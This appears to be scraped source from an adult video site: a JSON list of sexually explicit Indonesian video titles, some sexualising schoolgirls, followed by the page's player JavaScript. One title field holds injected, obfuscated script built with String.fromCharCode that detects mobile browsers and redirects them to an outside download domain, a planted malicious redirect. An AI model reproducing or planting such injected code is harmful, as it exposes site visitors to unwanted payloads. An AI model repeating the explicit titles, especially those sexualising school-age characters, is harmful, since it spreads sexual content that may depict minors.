Penginapan B&B Kota Universitas: Perspektif Tuhan yang Murni: Apresiasi terhadap Keseruan Erotis dan Aktivitas Bermain Pasangan Mahasiswa. Mengenakan telinga kucing dan menghisap seorang gadis berpayudara besar tanpa bulu, dia disetubuhi dua kali berturut-turut.","lastmod":"2026-07-11","duration":"","url":"/play/19207054.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDM1YTUxYzA3NGJhYTM3ZGY0YjgwOTU2YmVlMjc3OWEuanBn.cache","vod_id":19041281,"title":"CJOD-278 Seks Anal Memamerkan Bokong Ganda yang Sangat Besar Panti Pijat Pria Melihat lubang anus gadis imut yang kotor membuatku ingin ejakulasi lagi dan lagi Matsumoto Ichika Aoi Rena","lastmod":"2025-03-26","duration":"2:42:18","url":"/play/19041281.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTUvNTJlOWMxNTVmZDgzMzI0YzU5NzJiYzljNmE2YjhmNTIuanBn.cache","vod_id":19154685,"title":"\"Akan ada lagi!?\" Tak peduli berapa kali dia berejakulasi, dia akan mencapai ereksi yang kuat dan penuh saat melakukan seks oral berikutnya! Aktor tak dikenal HUNTC286","lastmod":"2025-09-14","duration":"3:29:18","url":"/play/19154685.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYmZkZjQ3NDY2ZTQ3NTBjODlkOWU2NDYzOTE4NDNmMzIuanBn.cache","vod_id":19201992,"title":"Aku akan meminjamkanmu urinal dagingku, wahai ibu rumah tangga. Mengunjungi rumah seorang pria kaya yang ceroboh, dia perlu ejakulasi 10 kali sebelum bisa pulang. (Aiyuu Ryou, Madonna)","lastmod":"2026-05-29","duration":"2:04:14","url":"/play/19201992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvYWE2NDQzOTM0N2RkODY0MWUyMmM1NmNmZWNlMmM3MGEuanBn.cache","vod_id":19206722,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Gadis junior berpayudara besar selingkuh dengan pacarnya yang memiliki penis besar di akhir pekan.","lastmod":"2026-07-11","duration":"","url":"/play/19206722.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzU0ZGVkMDk0NGJlMjIwMjFmMTBhZDUzZTFlODVjNDAuanBn.cache","vod_id":19093774,"title":"Wajah tampak polos, payudara besar ukuran D, vulva merah muda yang sempit, pakaian dalam yang memperlihatkan payudaranya, tampilan close-up vulva yang disentuh, membuatnya sangat basah dan mengucapkan kata-kata kotor.","lastmod":"2025-03-26","duration":"0:23:51","url":"/play/19093774.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjk3Y2M5OTUzOWQzMTRlOGJkYzI2ZTQyOWIyZjY0MjMuanBn.cache","vod_id":19071607,"title":"HND762 Klimaks yang intens dan ejakulasi yang deras membuatnya kehilangan akal sehat! Adegan seks berkelompok terakhir dengan Shiori Kamisaki, 20 penis di dalam dirinya, ejakulasi tanpa henti...","lastmod":"2025-03-26","duration":"1:58:25","url":"/play/19071607.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzQ5ZGFkODc0OTFlNDAwZjU3OWI5ZmI2YjljZDViZGQuanBn.cache","vod_id":19080936,"title":"JOD246 “Rasanya sangat enak, aku akan menghantammu sampai kau mati!” Shinoda Yuu yang cemburu memberikan sesi masturbasi yang berkeringat kepada pacarnya sampai ia ejakulasi, karena ia ingin pergi ke tempat sensual masokis.","lastmod":"2025-03-26","duration":"1:57:51","url":"/play/19080936.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTU5MzQ1YmUzMzIxMjJiMWQ2ODAwNzcwZjkyOTNjM2IuanBn.cache","vod_id":19065067,"title":"Wanita berdada besar mengenakan pakaian dan berejakulasi.","lastmod":"2025-03-26","duration":"0:18:48","url":"/play/19065067.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzEzZTg3MjY3MWE5NDU0ZjhmNjM3MDNmYjk0ZWIwYTguanBn.cache","vod_id":19052497,"title":"Seorang wanita muda bertubuh seksi, yang baru saja menjalani terapi bekam, terlihat sedang berhubungan seks di sebuah hotel. Ia mengenakan pakaian dalam seksi dan tampil sempurna.","lastmod":"2025-03-26","duration":"0:36:11","url":"/play/19052497.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWQ2OGNlNzkyMGQ3NWE0Yzc0NGM4NDYwMzhkODkyN2UuanBn.cache","vod_id":19074263,"title":"300NTK297 Seks bibir seluruh tubuh yang intens dari wanita cantik bertubuh langsing, semburan dahsyat!! \"Ini hanya untukmu, pak tua,\" katanya, menungganginya, vaginanya meneteskan cairan vagina, dan berejakulasi dengan hebat!! Memasukkan jari akan membuatnya langsung berejakulasi, dan kemudian ketika penisnya dimasukkan dengan paksa, dia akan langsung orgasme dan berejakulasi!! Akhirnya, dia menyemburkan sperma kental ke dalam rahimnya!! Ledakan!! ...","lastmod":"2025-03-26","duration":"1:11:46","url":"/play/19074263.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNmM0MDlkZTQzYTA2OWVlMjEzMWY4MTVmYTQ1MTA4YjkuanBn.cache","vod_id":19107431,"title":"Terapis itu, yang berpakaian cabul, berhubungan seks dengan Anda menggunakan payudaranya yang berukuran G-cup.","lastmod":"2025-03-26","duration":"2:44:45","url":"/play/19107431.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTBlZDk5MmJjZmE4OTViNzAxMTM5MWYyZGJkMjA4ZDMuanBn.cache","vod_id":19195807,"title":"Seorang wanita muda yang genit menggoda dengan menelanjanginya, menjilat telinganya, menghisap payudaranya, menjilati kemaluannya, bermain-main dengan kemaluannya dalam berbagai posisi, mendorong dan menyetubuhinya, sambil mengobrol dan tertawa.","lastmod":"2026-04-29","duration":"1:38:47","url":"/play/19195807.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjFhNzlkNmIzMGE0MDExMmE2M2ZhNjFmM2I4ZDgzM2UuanBn.cache","vod_id":19169790,"title":"Menggoda, menutup mata, merobek pakaian, perbudakan, permainan mainan, antisipasi, memohon ayam jantan, kebangkitan masokis, ejakulasi, 4 jenis kelamin. Mio Asumi MGOLD-046","lastmod":"2025-12-26","duration":"2:01:04","url":"/play/19169790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTgvMjdmYmM4MjVkZTg1NTU3NmRmM2QwNTgzZWEwYTdlMjIuanBn.cache","vod_id":19164983,"title":"[Wanita Dewasa di Salon Kecantikan] Menggodanya dengan memamerkan payudaranya di depan seorang wanita yang lebih tua yang sedang dipijat saat dalam perjalanan bisnis.","lastmod":"2025-11-17","duration":"0:34:02","url":"/play/19164983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmFjNDAzM2I5M2JhOGIyOTI2YmM1YzlhZWE1NDUwMTUuanBn.cache","vod_id":19093985,"title":"Berhubungan seks dengan versi Taiwan dari \"Yui Hatano\"—dia memiliki bentuk tubuh yang bagus dan payudara besar—rasanya luar biasa.","lastmod":"2025-03-26","duration":"0:42:50","url":"/play/19093985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvOGFiYjdjOWM2ZDM3ZGYwYzFiZmRmYWJmZjVjNTBjMmIuanBn.cache","vod_id":19165098,"title":"[4K] Gadis tercantik di sekolah yang berkacamata menyerangku saat mengenakan pakaian renang yang melanggar peraturan sekolah… Akhirnya aku berhubungan seks dengannya berulang kali. (Jinghe MADV-598)","lastmod":"2025-12-13","duration":"1:53:40","url":"/play/19165098.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2RjYjA4MjY3NmFhMmVlNjA1NjcwYWRlY2U2Y2JiYTQuanBn.cache","vod_id":19174898,"title":"Pramugari membocorkan informasi: Dia langsung bertemu dengan pasangan seks kasual setelah turun dari pesawat, tanpa mengganti pakaiannya terlebih dahulu.","lastmod":"2026-01-19","duration":"0:04:20","url":"/play/19174898.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjA4M2JlY2Y1MzVkY2I3YmMzNDdiYjI2NmZkYWE4NDAuanBn.cache","vod_id":19170665,"title":"Gadis yang sangat imut dan menggemaskan dengan payudara seksi dan bokong yang montok - sebuah mahakarya untuk masturbasi.","lastmod":"2025-12-29","duration":"0:29:48","url":"/play/19170665.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjBjMTJmMmY4NGE1MjMyM2JhMWU0OGRlZmM5MTg5NzguanBn.cache","vod_id":19074523,"title":"QRDA-167 Lesbian SM Kebejatan lesbian, kebejatan yang sangat parah, menangis dan ejakulasi terus-menerus","lastmod":"2025-03-26","duration":"2:00:30","url":"/play/19074523.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTEvZTE3NzRjYzA0ZmQ5MTJiOTg2Nzg2MjU0YzcxNDJjY2EuanBn.cache","vod_id":19203500,"title":"Pengalaman sang blogger bertemu dengan seorang gadis berseragam sekolah saat berhubungan seks sangat menggairahkan. Tubuh gadis yang imut dan erangan lembutnya membuat sang blogger ingin melebarkan kakinya dan menusuk dengan keras.","lastmod":"2026-06-10","duration":"0:16:34","url":"/play/19203500.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzA3YjFjYmVhZGNmZGVjZDEyYTJiYmVjYzZhMDExM2EuanBn.cache","vod_id":19043529,"title":"SSNI-128 Pesta Seks Dibuka Kembali!! 24 Penis Penis VS Hoshino Nami Hasrat Tak Berujung untuk Penis dan Orgasme, 24 Ejakulasi Berturut-turut dalam Pesta Seks Super Spesial","lastmod":"2025-03-26","duration":"2:33:00","url":"/play/19043529.html"}]},
videoTitle: 'Wanita berdada besar mengenakan pakaian dan berejakulasi.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}